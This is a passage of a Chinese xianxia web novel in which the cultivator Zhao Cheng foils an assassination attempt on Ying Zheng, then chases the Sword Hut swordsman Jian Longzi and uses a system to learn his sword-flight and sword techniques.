赵诚正在高亭之上,思索建造蒸汽中枢的细节,手下一名属吏匆匆跑来,汇报嬴政来到此地的消息。
赵诚挑眉,顺着属吏的目光往下望去。
只见洺水岸的工地上,一道玄色常服身影正缓步走来,正是嬴政。
他未穿冕服,只着一身锦袍,衣角沾了些工地的尘土,却丝毫不显狼狈。
身旁跟着李斯、冯去疾等重臣,还有几名黑冰台秘士隐在暗处。
嬴政走走停停,时而伸手摸了摸蒸汽夯土车的铁壳,时而接过墨官递来的小机关模型,眼神里满是兴致,连脚步都慢了几分。
“这陛下,来之前竟也不递个消息。”
赵诚无奈地摇了摇头,将草图叠好揣进怀里,正欲纵身跃下高亭,心头却突然掠过一丝异样。
洺水的水气,似乎太躁了。
下一刻,洺水水面突然翻涌起来!
像是有巨物在水底搅动,平静的河面瞬间掀起丈高的水花,“哗啦”一声,几道黑影如鬼魅般破水而出!
那是十几个浑身湿淋淋的汉子,穿着紧身黑衣,脸上涂着青黑色纹路,手里握着闪着寒光的短匕,身形快得只剩残影,眨眼间就逼近嬴政,距离不过七八丈。
“有刺客!”
黑冰台秘士的喝声几乎与刺客现身同时响起。
只见工地的脚手架后、蒸汽器械的阴影里,突然窜出数十名深色劲装的秘士,手里的弯刀映着日光,直扑刺客而去。
“叮!”
“噗!”
刀光与匕影在瞬间碰撞,血花溅落在青石板上,又被洺水的飞沫冲淡。
不过一息功夫,已有两名刺客被砍中喉咙,鲜血喷涌。
同时也有一名秘士被**刺穿胸口,闷哼着倒下。
双方都是死士,出手狠辣,不留半分余地。
嬴政站在原地,脸上竟无半分惊惶,只是皱了皱眉,将手里的机关模型递给身旁的内侍,语气平淡却带着几分不耐:“真是阴魂不散。”
顿弱始终寸步不离地守在嬴政身侧,手按在腰间的软剑上,眼神如鹰隼般扫过周围的每一处阴影。
即便看到黑冰台秘士死伤,他也未挪步。
他的职责是护嬴政周全,而非参与缠斗,除非刺客突破防线,否则绝不会轻易离开。
“陛下,这些人是楚地的水巫。”
顿弱压低声音,目光锁定那些刺客的装束,“楚地多大泽,水巫擅长水下潜行,还会些诡异巫术,需小心应对。”
话音刚落,异变再生!
一名已被秘士砍中腹部、倒在地上的刺客,突然浑身一抖,身体竟以肉眼可见的速度膨胀半圈,皮肤绷紧如鼓,青黑色的青筋在脸上虬结,像爬满了蜈蚣。
他发出一声不似人声的嘶吼,以一种扭曲的姿态横飞而起,手脚僵直却速度极快,直扑嬴政而去!
这变故太过突然,连近在咫尺的秘士都来不及反应。
“陛下小心!”
顿弱瞳孔骤缩,几乎在刺客起身的瞬间便动了。
他脚尖点地,身形如箭般窜出,右手成拳,狠狠砸在刺客胸口。
“嘭”的一声闷响,刺客像破麻袋般被砸飞出去,撞在蒸汽夯土车的铁架上,才缓缓滑落在地,没了声息。
可还没等顿弱松口气,又有三四名倒地的刺客出现了同样的异变!
他们浑身膨胀,青筋暴起,以诡异的姿态扑向嬴政,动作僵硬却力大无穷,连秘士的弯刀砍在他们身上,竟只留下一道浅痕。
“保护大王!”
李斯、冯去疾等文臣虽无武艺,却也立刻挡在嬴政身前,脸色发白却咬牙不退。
顿弱则左右开弓,拳脚并用,将扑来的“巫傀”一一踹飞,可这些巫傀不知疼痛,倒下后又挣扎着起身,始终缠着不放。
就在顿弱忙于应付巫傀时,一股极致的锋锐感突然从西方袭来!
顿弱浑身汗**瞬间竖起,喉咙发紧,仿佛有无数细剑抵在颈间,连呼吸都变得困难。
他猛地抬头望向西方。
天空澄澈,看不到半个人影,可那股危险气息却越来越近,仿佛下一刻就要刺穿他的心脏。
“这是……剑庐的御剑术!”
顿弱的脸色终于变了,声音里带着难以置信。
剑庐一直是隐世的剑派,多于江湖之上行侠游历,很少参与庙堂纷争,更不管天下大势。
其门下弟子剑术超群,有天资卓越者,更是擅长御剑术。
相传那御剑术玄之又玄,能于千里之外取敌首级。
剑速快如闪电,根本难以抵挡。
也正因如此,顿弱曾多年调查剑庐之人,最终查出数百年之前曾有剑庐之人参与庙堂之事,击杀一国宗室子弟之后,各国人人自危
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但那剑庐之人,却突然销声匿迹。
数十年之后,剑庐之人再出现时,便从不参与庙堂之事,最多在江湖上行走时路见不平拔剑相助。
如今竟有人敢在此处,对嬴政出手!
“剑庐尔敢!”
顿弱嘶吼一声,再也顾不得护在嬴政身边。
若不拦下这道剑气,嬴政危在旦夕!
他脚尖在空气中连点,竟踏出淡淡的气浪,身形如踏风而行,朝着西方的危险气息迎去。
一道极细的银线突然出现在视野里。
那是一柄飞剑,快得几乎看不见轨迹,只能听到尖锐的破空声。
顿弱拼尽全力去捕捉飞剑的动向,可剑速实在太快,他的手掌刚触到一丝剑气,飞剑便已擦着他的衣角掠过,直扑嬴政而去!
顿弱的心脏瞬间沉到谷底,脑子里只剩下一个念头。
完了!
这剑庐高手的修为,还在他之上,根本拦不住!
就在这千钧一发之际。
“铮!”
一道清越的剑鸣突然炸响在天地间,紧接着便是“咔”的一声脆响,像是精钢断裂。
嬴政身前三丈处,那道银线般的飞剑突然炸开,化作无数细碎的银白光点,落在地上,竟将青石板划出一圈莲花状的裂痕,细密如蛛网。
众人惊愕回头,只见一道雄绝魁伟的身影立在嬴政身前。
玄甲外披着暗红大氅,衣摆在风里猎猎作响,正是赵诚。
他如同一座不可逾越的山岳,将嬴政与所有危险彻底隔绝开来。
嬴政看着那道熟悉的暗红身影,心中陡然安定下来,先前的不耐也消散无踪,只觉得有赵诚在,便没什么可惧的。
顿弱松了口气的同时,亦是有些骇然。
刚刚他可看得清楚,赵诚不过是指尖轻轻一弹,便将那连他都拦不住的飞剑炸碎。
“这才多久不见,他的修为,竟已经强到了这种地步!”
赵诚低头看向嬴政,语气平静:“陛下稍待,某去将那逆贼抓来。”
话音未落,他一步踏出。
脚下竟无半分借力,身形却已飘至十几丈高空,暗红大氅在日光下展开,如同一道赤色云影。
再一步踏出,身影便化作远处天际的一个小黑点,眨眼间便消失在西方的天空里。
只留下工地上一片寂静,与众人尚未平复的心跳。
第234章 剑庐客遁御青锋,戟侯凌空迫遁踪
洺水之西的苍崖之上,山风卷起枯草翻落山崖。
一名身着玄色劲装的男子立在崖边,斗笠压得极低,遮住了大半面容,只露出线条冷硬的下颌。
他墨色衣袍被风扯得猎猎作响,整个人挺立如同一柄出鞘的长剑,透着凌厉的孤绝。
男子抬眼望向东方,目光穿透数里云雾,落在洺水岸旁的那道玄色身影上。
在他的视野里,那身影不过是个米粒大小的黑点。
而他指尖却旋绕着一节枯枝。
一缕淡青色剑气缠绕其上,指尖微颤间,心神已经凝于一点,与那黑点建立起若有若无的联系。
剑庐秘传,凝心剑!
他是剑庐上一代最顶尖的传人,剑龙子。
御剑术修至“剑随心动”之境,别说数里之外取人首级,便是十里之外斩落蚊蝇,也不会失手。
“师父,您老人家多年不出山,如何知道当年的协议早已作废?”
“秦国为了一统天下,不惜利用邪修之力,连灭两国,剑庐却还隐世不出,恪守当年之约,何其可笑?”
“这一剑斩落嬴政头颅,也是昭告天下,我剑庐回来了!”
“世人遗忘的剑鸣,也该重鸣于世间。”
“至于楚国给的修行资粮,我不过顺手收下,待我借助这份资粮成功结婴,一切就都不一样了。”
他指尖旋绕的枯枝颤动的愈发剧烈。
下一刻,他陡然抬眸,眸光锐利无比,枯枝的颤鸣达到了极致。
“去!”
嗤!
枯枝好似一柄时间最为锐利的剑,瞬间斩开空气,转瞬之间,跨越无数距离,直逼嬴政咽喉!
看着那惊慌迎上来的顿弱,剑龙子的嘴角露出一丝讥讽的笑意。
“杂修也敢来拦我的剑?”
尽管那只是枯枝,远比不上他以金丹真元淬炼了多年的“青冥剑”,但自他手中出的,不论飞花摘叶,自然都是世间一流的剑刃。
果不其然,那家伙连他这一剑的边都没摸到。
枯枝剑一往无前,已经到了嬴政的咽喉之前,这个距离,头颅落地不过是瞬间的事情。
然而却在这一刻。
一道身影以他看不清楚的速度突然出现在嬴政的身前,而后面无表情的屈指一弹……
“铮——”
心神凝集连接的凝心剑陡然爆裂,剑碎的脆响好似传到了他的心中。
剑龙子握着剑柄的手猛地一紧,指节泛白。
斗笠下的眼睛里满是震惊,连呼吸都乱了半拍。
“这人是谁?嬴政身边还有高手!?”
“大戟,血衣……”
“邪修赵诚!?”
“他竟有如此修为!?”
他下山游历,早听闻过赵诚的血屠之名,却只当对方是个靠邪术精进的投机取巧之辈。
哪里想到会有如此通天修为?
弹指间便碎了他的凝心剑,这份真元的精纯与浑厚,让他震骇不已。
下一刻,那身影突然消失。
剑龙子丢失目标,瞳孔骤缩。
他凝集全部心神,天际之上闪过一道暗红身影,终于再次锁定,死死盯着那道身影。
起初那身影不过是天际边一个模糊的暗红小点,不过几个眨眼之间,就已经能够看到那身披大氅的魁躯。
再一眨眼,甚至能够看到那英武的面容和血海凶眸来!
还不待剑龙子反应过来,那身影竟已出现在数里之外的高空,距离他越来越近!
这速度……
剑龙子心头悚然一惊,一股寒意顺着脊椎往上爬。他自忖御剑术已冠绝同境,可眼前这道身影的速度,竟比他全力御剑还要快上几分!
“速退!”
剑龙子身上那股凌厉的锐气瞬间消散。
他脚尖在崖边一点,身形如柳絮般飘起,右手剑指一引,背上的“青冥剑”突然挣脱剑鞘,化作一道青虹飞至脚下。
他足尖轻点剑身,淡青色的剑气从周身窍穴溢出,尽数灌入青冥剑中。
“起!”
长剑带着他破空而去,剑身在空气中划出一道青色轨迹,速度快得几乎要撕裂空气,只留下“咻咻”的破空声。
罡风如刀,刮得他脸颊生疼,斗笠的系带被吹断,滚落山崖
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,露出他满是凝重的脸。
他不敢停,只能拼命催发金丹真元,掐诀凝聚剑气在身前,斩裂空气,让剑速再快一分。
“咦?”
赵诚踏空追来,看着前方御剑逃窜的身影,眼中闪过一丝惊奇。
他成丹之后,不但实力比之前提升了许多倍,更是拥有了七种神通特性,其中神行之能,让他一步踏出便能够跨越很远距离。
这个速度,就算是面对之前遇到的逍遥子和云渺等人,也是完全碾压的。
但前方不远处御剑逃窜的家伙,速度却几乎能够媲美自己。
这倒是个稀奇事。
“御剑飞行,难道这也是某种神通?“
“剑庐……他们这种技法,倒是有些可取之处……”
他耳力超群,之前已经听到了顿弱所说剑庐二字。
再结合之前的御剑术,以及现在的御剑飞行,赵诚哪里还不知道,这剑庐的技法不输于道家的秘法。
之前与云渺的对战之中,赵诚就发现技法的妙用。
自己真元的精纯和浑厚程度虽然远胜对方,但对方却可以凭借特殊的技法与自己战平。
如今远处那个剑客也是如此,对方的修为不如自己,但是速度却能够和自己正常施为的时候差不多。
这明显就是技法的作用。
而技法他虽然没有,但他可以学啊。
有武学推演和悟性丹,只要找到一些破解点,想要推演出完整的技法,甚至是更好的技法,根本不是问题!
想到此处,赵诚打起了几分精神。
体内金丹一震,原本懒洋洋旋转的金丹瞬间散发出霞光万道,无穷真元滚滚而出,厚重如山,汹涌澎湃。
只见他身形一晃,竟化作一道暗红残影,速度陡然快了近一倍,以肉眼可见的速度,迅速迫近远处那道御剑飞行的身影。
剑龙子原本见到赵诚追不上自己才刚刚松了口气,结果一转头的功夫,那身影已经逼近了百丈之内,而且距离还在不断地拉近。
当时就是浑身一震,哪里还不知道,刚才的赵诚根本没有使出全力。
第235章 剑遁惊惶催潜力,血氅戏敌悟秘法
血衣大氅翻飞间,持戟魁影破空逼近!
利剑裂风遁空时,踏剑锐锋亡命窜逃!
剑龙子时不时地回头去看,每一次回头,那能够暗淡天光的恐怖身影都要更近一些,压迫感如山崩海啸般扑面而来,让他几乎喘不过气来。
“该死!都这么远了,怎么速度还越来越快!?
“这家伙的真元,难道就用不尽吗?”
眼看距离越来越近,若是被那家伙追上,剑龙子估计自己恐怕不是对方的一合之敌。
于是牟足了力气,将体内金丹催发到了极致,那金丹好似都快要燃烧起来了。
他那一身剑气全部涌入到了脚下的剑身之上。
长剑破风前行,犹如乘风破浪,速度再次爆发式增长。
迎面而来的风,都好似刀割一般,却被他掐诀以剑气破去。
金丹在燃烧,无尽真元在飞快的消耗,剑龙子觉得,如此速度,就算是师父亲自来了,一时半会也是追不上自己的。
谁承想,一回头的功夫,那家伙竟然又逼近了许多。
双方距离已经不足百丈!
要**!
这家伙是个人!?
不是邪修吗?
邪修就算能够修成金丹,那也是空中楼阁,经不起消耗的败絮一团,这家伙怎么这么猛!?
这一下,让剑龙子亡魂皆冒。
他身怀剑庐最高传承,御剑术的速度足以碾压同境。
全力以赴之下,尚且不如对方的速度,那就说明,在修为上自己更是差的不是一丁半点。
打是打不过的,但是现在也跑不掉!
这该如何是好?
剑龙子心念急转,一瞬间想了千百种可能,最终只有拼了两个字停留在脑海之中。
在拿剑的那一天起,师父就曾经教导他,剑客最重要的就是锐气,锐气是什么?
锐气就是狭路相逢勇者胜!
锐气就是置之死地而后生!
战!
“莲锋裂雪!”
青冥剑在空中划过一个凌厉的圆弧,剑龙子单手掐剑诀,大袖一挥,无边剑气便是滚滚向前,直逼赵诚!
寒光四射之间,这剑气凝如秋莲初绽,却在落剑刹那裂散霜雪。
这是剑庐祖师曾在冬晨踏雪练剑时所创之剑,也是剑龙子修炼的最好剑招之一!
他这一反击,时机恰到好处,距离也是刚刚好。
绝对可以打赵诚一个措手不及。
对此还是颇有几分信心的。
于是满怀期待地看着这一招落下。
谁想,赵诚却是不太满意,“什么破玩意?”
只见他大手一抚,手掌之上金辉一闪,便将那莲锋和霜雪全部按下。
好似一团刚刚要绽放的焰火被掐灭了一般,一个火花都没有迸溅出来,就彻底蔫了下去。
“这……”
剑龙子瞪着眼睛直接看呆了。
他这一招可是寄托了自己全部的希望,凝聚了所有的心力放出的大招,旨在一击得中,重创赵诚!
结果就这?
这人**到底是个什么妖怪!?
明明看着那么年轻,这修为怎么像个老妖怪一般!?
这还打个屁了!
跑吧!
剑龙子扭头就跑!
他拼命地催动金丹,金丹都快要燃尽了也不管不顾,恨不得把那一枚金丹掰成八瓣用!
他觉得这回速度够快了吧?
总能够拉开距离了吧?
结果一回头,赵诚就在他背后不远处饶有兴趣地盯着他,那凶眸之中的神色,好奇中带着几分打量,探寻中带着几分研究,不屑中还带着几分满意。
那是怎么看怎么古怪。
就这一眼,让剑龙子差点骇得跳起来,一颗心狂跳起来,浑身毛骨悚然!
“这……这妖魔,莫不是要拿我炼那采生折割之术!?”
“不对,不对,恐怕不止是采生折割之术,他可能还想将我炼制成傀儡之类的东西!”
剑龙子脑海之中闪过无数种禁术,都是传说中最恶毒的邪修术法。
每想到一个,就浑身一颤,不寒而栗。
遁逃的也更快了。
他这拼命遁逃,一身元气流动就再明显不过。
而赵诚此时体内的金丹之上,破幻与清明两个神通星窍正熠熠生辉。
眼中金辉流动,好似能够看穿剑龙子身上的剑气,直视他体内的真元流动和剑气流转。
他一边看,一边在心中领悟。
渐渐地,若有所得。
【你观看他人御剑之法有所领悟,是否开启模拟推演?】
赵诚一喜,当即选择开启模拟推演。
【正在投入寿命开启推演御剑之术】
【第一年,你观看他人御剑之术,察觉剑气流动之妙……】
赵诚慢悠悠地
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缀在剑龙子的身后,一边观察,一边推演,一双眼睛好似要将剑龙子从里到外看个通透一般。
而心神,更是开启了漫长的寿命推演。
这可苦了剑龙子。
赵诚那眼神,让他浑身悚然到了极致,偏偏想跑还跑不掉,甩又甩不脱,打又打不过。
忍受这种酷刑的每分每秒,都是无上煎熬。
让他身心受尽折磨。
这家伙难道不光是邪修,还是某种心理变态!?
这眼神到底是怎么回事?
要杀要剐你倒是说句话啊,都特么快追上了,一直用眼睛看我是怎么回事!
剑龙子每一次回头面对那双血海凶眸,心里就好像被架在火上烤一样。
这种感觉实在太恐怖。
最恐怖的是,他体内的金丹渐渐快要燃尽,明显开始后劲不足了,他的速度也渐渐慢了下来。
后面就是那魔头邪修,正用极为恐怖、好似要用世间最恶毒法门折磨他的眼神逼视他,而他,却再也榨不出一滴真元来提升速度。
世界上再也没有比这更绝望恐怖的事情了。
不,还是有的。
在速度力不从心的变慢之后,剑龙子惊恐地发现,那家伙他从后面追上来了,已经逼近到了他背后一步之外。
他深吸一口气,准备拼死一搏,却发现,那家伙没有出手杀他。
而是慢悠悠地来到了他的侧面,用那种恐怖至极的眼神,继续观察他,从上到下,从里到外。
时不时还露出若有所得的惊喜愉悦神色。
剑龙子的每一根汗**都立了起来,心里升起无边汹涌的恶寒。
不是,你**到底有什么毛病!?
“血屠妖孽!老子今天和你拼了!”
“云海吞锋!”
提剑余直欲跃入,其间恐有蛟鲸行!
剑龙子奋起余力,剑指赵诚,剑气穿透云层如鲸吞长天,云海之中,好似有蛟鲸吞噬云雾,剑势浩气磅礴,无边无际!
好似整个天穹化作了剑气蛟鲸,朝着赵诚横压下来!
【第三百二十七年,你对于剑庐的御剑飞行之术领悟更深,抓到了其中精髓,补全了秘法盲区,你的御剑飞行之术已至小成……】
【你观看他人剑法有所领悟,是否开启模拟推演?】
赵诚眸中光彩一闪,露出惊喜之色来,”这还有点意思!“
第236章 观剑悟戟横断云,御风神行纵天痕
剑龙子这一剑,好似蛟鲸吞噬漫天云雾,剑势浩荡磅礴无比,朝着赵诚横压而来。
显然,赵诚的那种眼神,已经让他忍无可忍,这才能够在如此油尽灯枯之际,还能够施展出如此宏大的招式出来。
赵诚立于半空,暗红大氅在剑气掀起的狂风中猎猎作响,身形却稳如泰山。
在“破幻”与“清明”双神通加持下,他的目光如利刃,瞬间便看穿了这剑招的脉络。
“倒是比先前的御剑术强了不少。”赵诚眼中闪过一丝兴趣。
这剑招大气磅礴,与他惯用的刚猛戟法颇有契合之处,若能拆解改造,说不定能衍生出适合自己的戟法。
他索性不闪不避,周身淡金色辉光流转,凝成一层金刚真元,静静看着那青色蛟鲸携着漫天长云,朝自己撞来。
剑龙子见赵诚终于移开了那让他头皮发麻的目光,紧绷的神经骤然一松,差点喜极而泣。
他能清晰感受到,赵诚的注意力全在剑招上,竟没有趁机追击!
“太好了!就算伤不到他,能拖片刻也是好的!”
他大袖一挥,趁着赵诚观摩此剑的功夫,抓紧往嘴里面塞了一大把丹药。
这丹药之中不仅仅有回气的,甚至还有治伤的。
此时他已经来不及分辨什么种类的丹药了,不管是什么,先吃了再说,等会总归是能够用上。
无论如何,他都不能落到这赵诚手里,不然一定是生不如死,光是想想就是不寒而栗。
这一口丹药下去,剑龙子感觉快要油尽灯枯的身体之中,好似迎来了阵阵甘露。
已经变得干瘪的金丹,都微微泛起光泽,几近枯竭的真元终于有了一丝回暖。。
他提起一口气,剑射而出,眨眼之间遁逃百丈之外,还不忘了抽空回头看上一眼。
只见那吞云蛟鲸重重撞在赵诚的金色护罩上,如大浪拍岸般炸开,云气四散,剑气飞溅。
而赵诚不闪不避,身上有着一道金辉般的真元覆盖护持,那蛟鲸般无尽剑气落在他身上,虽声势浩大,但那金光纹丝不动,巍然如山,屹立不倒。
而赵诚依旧立在原地,眼神饶有兴味地追随着四散的剑气,仿佛在拆解每一缕剑光的轨迹。
那让剑龙子恐惧至极的眸光,未曾再向这边看来。
【第一年,你观看他人剑招有所领悟,剑招云海吞锋踏入入门之境……】
【第一百五十年,你不断回顾云海吞锋,将没有注意到的细节全部了然于胸,并且可以轻松使用出来,你的云海吞锋踏入了小成……】
【第二百八十九年,你不断练习推演云海吞锋,渐渐发现并掌握了其中精髓,随手一击,都能够将此术用到极致,你的云海吞锋,踏入了大成……】
【第三百五十四年,你已经大成的云海吞锋不断被你优化,渐渐推陈出新,在各个方面都快速优化迭代,比之前威力更强,你的云海吞锋踏入了大圆满之境……】
【第五百一十年,你结合大圆满进度的云海吞锋,推演出了适合自己的戟法,你将其命名为横断云天,戟出则风云变色,浩荡磅礴,如银河倒倾……】
【第八百九十四年,你亦将御剑术推演到了出神入化之境,并结合御剑术和神行神通,推演出了御风神行之术。
此术无物不御,就算是踏着一根草叶,也比剑庐的御剑术更快,破风无形,且自带锋芒,所过之处无坚不摧,既是扶摇九天的飞遁之法,亦是锋芒无尽的破敌之术……】
【横断云天(大圆满)】
【御风神行(大圆满)】
赵诚看着系统之中的两个提示,指尖轻轻摩挲着大戟上的云纹,脸上露出几分满意的神色。
“这剑客身上,还真有点好东西,不能就这样放过他。”
“御风神行,无物不御……”
他目光转向西方,那里正是剑龙子逃窜的方向。
风卷着一片枯叶掠过,赵诚指尖轻挑,一缕无形真元如丝线般缠上叶片。
只一瞬,那原本轻飘飘的枯叶竟骤然凝实,边缘因裹着真元锋芒而变得异常锐利
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,“嗤”的一声划破空气,带着尖锐的啸声,稳稳落在他脚下。
赵诚足尖轻点枯叶,体内金丹微微旋转,一缕真元顺着足底注入叶片。
下一刻,他的身影如一道暗红闪电,瞬间破开云层。
速度比先前施展神行时快了七八倍,身前的风被无声撕裂,下方的山林、河流飞速**,不过眨眼功夫,便已消失在天际。
只留下一道若有若无的真元轨迹,转瞬便被风散去。
再说另一边,剑龙子正拼了命地催动御剑术。
他脸色惨白如纸,嘴唇干裂出血,却仍死死咬着牙,将丹田内的金丹催至极限。
原本泛着莹润青光的金丹,此刻黯淡得如同蒙尘的顽石,表面甚至泛起细密的裂纹,可他毫不在意,只管将最后一丝真元榨出,尽数灌入脚下的青冥剑。
长剑带着他在山林间飞速穿梭,剑尾拖出的破风轨迹因真元不稳而断断续续。
时而撞上崖壁,溅起一片碎石,他也顾不上避让,只想着离赵诚越远越好。
每飞出百丈,都要忍不住回头瞥一眼东方天际,心脏悬在嗓子眼,生怕那道暗红身影突然出现。
“太恐怖了……真是太恐怖了!”
剑龙子的脑海中反复回放着赵诚那古怪的眼神,浑身忍不住打了个寒颤。
只觉得赵诚的眸光时时涌上脑海,如同阴影般笼罩心头,那种被死死锁定的压迫感,让他连呼吸都觉得沉重。
世人都传他是血屠阎罗,果真没错!
“师尊说山下世事复杂,果然没骗我……”
剑龙子喉头滚动,干涩的嗓子里挤出几声低语,“此次若能大难不死,定要在剑庐闭关百年,不突破元婴境,绝不再踏下山半步!”
方才为了提速,几乎是在透支本源。
他虽心疼金丹的损耗,可转念一想,只要能逃回去,凭着楚国给的那批修行资粮,再辅以剑庐秘制的疗伤丹药,养个十几年,总能将金丹的亏空补回来。
眼下最要紧的,是从赵诚手中逃走!
第237章 影伏敌背骇心魄,破云点窍灭蛟锋
剑龙子咬牙坚持着,又飞了近半个时辰,丹田传来阵阵撕裂般的疼痛,真元枯竭得如同皲裂的河床,连抬手掐诀都觉得吃力。
他再也撑不住,缓缓降下高度,落在一处隐蔽的山洞前,警惕地扫了眼四周。
确认没有异常后,才喉结滚动着咽了口干涩的唾沫,强压下心头的恐慌,自我安慰道:“都飞出这么远了,那家伙就算速度再快,也该追不上了……”
“幸好方才那招‘云海吞锋’起了作用。”
他靠在洞壁上,喘着粗气,脑海中闪过方才的场景,“若不是借着那剑招拖延,恐怕早就被追上了。
得赶紧调息片刻,恢复些真元就走,绝不能在此地多待。”
可转念一想,他又皱起眉。
先前那招“莲锋裂雪”,锋利程度明明与“云海吞锋”不相上下,为何前者连赵诚的真元都破不了,后者却能让对方驻足片刻?
他实在想不通其中缘由,只能将其归结为“云海吞锋”的某种特性,恰好暂时牵制了对方。
这念头让他紧绷的神经难得松了几分,甚至生出一丝微弱的安全感:“若是那妖魔真追上来,大不了再用‘云海吞锋’拖延。
只要撑到剑庐的势力范围,派中长辈总能保我性命!”
他盘膝坐下,闭上眼正欲运转**调息,掌心却仍死死攥着青冥剑的剑柄,连指尖都因用力而泛白。
显然,赵诚带来的恐惧,并未因距离拉远而真正消散。
在抵达剑庐范围之前,剑龙子始终如芒在背,好似那可怕的眸光正落在他的后脖颈之上。
事实也正是如此。
此时,赵诚就坐在山洞深处的阴影里,暗红大氅铺洒开来,魁躯松弛地靠在洞壁,静静看着剑龙子调息。
因“敛藏”神通遮蔽了所有气息与真元波动,剑龙子的灵觉就算扫过山洞千百次,也是毫无所觉。
调息好啊,调息了,才能有真元爆发出新的剑招来。
赵诚摩挲着大戟上的云纹,目光落在剑龙子紧绷的后背,眼底带着几分欣慰。
他能轻松看透剑龙子体内的状况。
金丹黯淡如蒙尘顽石,真元枯竭得只剩几缕残丝,连运转**都带着滞涩。
此刻若逼他出剑,别说完整剑招,恐怕连半招都施不出来,顶多是些散乱的剑气。
他要从剑招中推演领悟,自然是越完整的剑招越好。
先前剑龙子全力施为的“云海吞锋”,他领悟起来尚且轻松,可系统推演时,仍花了数百年才补全细节、推至大圆满。
若是残缺剑招,后续推演只会更费功夫。
是以赵诚半点不急,就坐在阴影里静静等待,连呼吸都放得极轻,生怕动静太大,惊到了对方,让对方不小心走火入魔,无法安心调息恢复。
如此贴心,不知道剑龙子知道了之后,会不会感动得哭出声来。
剑龙子也很不错,并没有让赵诚等他太久。
只是调息了一刻钟多一些的时间,他便猛地睁开眼,掌心按在丹田处感受了片刻。
虽真元仍稀薄,却已能勉强催动御剑术。
他不敢多留,立刻撑着洞壁站起身,刚要弯腰去捡脚边的青冥剑,眼角余光却突然扫过洞深处的阴影。
那是一道虎背狼腰的雄绝魁影,暗红大氅铺洒在地上,好似血海涌现在这暗无天日的山洞之中……
这身影……剑龙子化成灰都不会认错!
但他不敢相信!
因为他的灵觉明明感应到,身后空无一人!
这个瞬间,剑龙子浑身汗**瞬间炸起,一道道冰寒从脚尖窜到头顶,四肢僵硬得像被冻住的铁块。
他余光锁定那道阴影,牙齿打颤,连声音都发不出。
怎么回事!?
难道是我的幻觉?
不,不对,这不是幻觉,背后是真的有人!
是谁?
不会真的是……
一股至极的恐惧疯狂的涌上他的心头,他难以想象,如果真的是他所猜测的那个人,这件事情将会如何恐怖。
他最害怕的,拼命逃离的家伙,竟然在他调息的时候,就一直坐在他的身后?
如果这是真的,他到底想要做什么?
这个妖魔!
他到底想要做什么???
剑龙子快要疯了!
他的心脏疯狂的跳动起来,喉头僵硬着,慢慢转头向后面看去,在看到赵诚那笑眯眯的神色,和那欣慰期待中带着探寻研究的目光时。
悬着的心终于**!
他眼前一黑,恐惧在一瞬间彻底达到了极致,几乎冲破了他的理智。
“血屠妖魔,我和你拼了!!”
剑龙子嘶吼着,声音因恐惧而变调。
他嘴上喊着“拼命
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”,脑海中却仍存着一丝理智。
第一时间抬手掐诀,催发了先前曾短暂牵制过赵诚的“云海吞锋”。
山洞狭窄,本就限制了这剑招的浩荡威势,可他顾不上了。
只要能迟滞赵诚一瞬间,只要能拉开哪怕丈许距离,他就能踩着青冥剑逃出去!
随着他的喝声,淡青色的剑气在掌心凝聚,云气从四面八方涌来,渐渐凝成蛟鲸的剑气虚影,眼看就要朝着阴影处撞去。
“这招用过,不好用了。”
赵诚的声音平静地响起,没有半分波澜。
话音未落,他指尖轻轻一点。
一缕无形真元如细针般射出,没有光芒,没有锐响,却精准点破了剑龙子剑身上的一处薄弱剑气。
那是“云海吞锋”凝聚云气的核心,也是剑龙子真元流转的关键节点。
他推演云海吞锋数百年,这一招的所有细节和破绽都烂熟于心,甚至于就算让剑龙子再精进千年,也不如赵诚对这一招的领悟更深。
毕竟赵诚已经将此招推演至绝对的大圆满,还推陈出新,在这一招上,就算是剑庐的老祖宗,都不如他走得远。
剑龙子还用这一招,如何能够施展的出来。
这一点真元,好似追本溯源,又好似以点破面。
明明非常的微弱,也并不锋锐和浑厚,却在一瞬间,就按灭了剑龙子的所有爆发出来的力量。
将还没起势的云海吞锋直接压灭于无形。
牟足了劲要放大招的剑龙子,直接就憋了火,全力施展的绝学连个水花都没冒出来,竟直接消散了。
他瞪大了眼睛看着这一幕,整个人都惊呆了。
这妖魔……他竟然……
竟然只用了那么一点真元,就将自己的绝学从源头掐灭?
这意味着,对方对于这一招的理解,已经到达了极致,一眼就能够看穿这一招万千变化之中的根源,所以才能够如此轻松地掐灭。
可这怎么可能!?
这可是剑庐秘传的绝学!
是世上最为精妙的剑招之一!
就算是他师尊本人在这里,也绝对做不到这一点,眼前这家伙只是看了一遍,就能够如此!?
这是什么悟性?
这还是邪修吗?
剑庐历代最为惊才绝艳之辈,也做不到这种程度吧??
这人,到底是谁!?
第238章 观瀑悟戟凝怒潮,御风戏敌逐林坳
眼看自己赖以拖延的绝学连点水花没溅起就消散,剑龙子整个人都僵在原地,瞳孔因惊骇而放大,嘴巴张得能塞进个鸡蛋。
一股凉气从心中冒出来,无尽的惊骇和恐惧将他彻底吞没。
赵诚那笑吟吟的目光落在他身上,那眼神里的“期待”与“探究”,此刻在他看来如同地狱深渊之中的黑暗。
剑龙子再也不敢多待哪怕一息,怪叫一声,脚尖在青冥剑上一点,身形如惊弓之鸟般蹿出山洞,青冥剑拖着一道不稳的青光,朝着剑庐方向疯狂逃窜。
见鬼了!真是活见鬼了!
罡风刮在脸上,疼得他脸颊发麻,可剑龙子半点感觉都没有,满脑子都是混乱的疑问。
这家伙怎么一直在我身后?
他是什么时候追上来的?
为什么连气息都没露半分?
我的云海吞锋怎么会放不出来?
他才看了一遍,怎么就能看穿招式根源?
这些疑问像乱麻般缠在心头,恐惧与惊慌让他大脑一片空白。
他不敢回头,也不敢细想,只知道拼命催发丹田内仅剩的那点真元,青冥剑的速度被提到了极致。
飞掠而过的山林在他眼中只剩模糊的残影,连撞上树枝刮破衣袍都浑然不觉。
可这般拼命的速度,在赵诚眼里,却与乌龟爬差不了多少。
他站在山洞洞口,看着剑龙子逃窜的方向,指尖轻轻一挑。
一缕无形真元缠上身旁飘落的枯枝,枯枝瞬间穿梭而来,边缘裹着淡淡的真元锋芒。
赵诚足尖轻点枯枝,御风神行之术瞬间展开,身影如一道暗红闪电,几乎是瞬移般掠过山林。
眨眼间便追上了前方的剑龙子,稳稳落在他身后丈许处。
“这剑气……怎么如此熟悉?”
剑龙子眼角余光瞥见身后的暗红身影,心脏骤然一紧,猛地回头。
这一看,更是吓得魂飞魄散!
竟是御剑术!?
不,比他的御剑术还要更加精妙!
这不对啊,之前的赵诚明明没有这等精妙的御剑术,为何突然学会了御剑术?
难道是和自己学的?
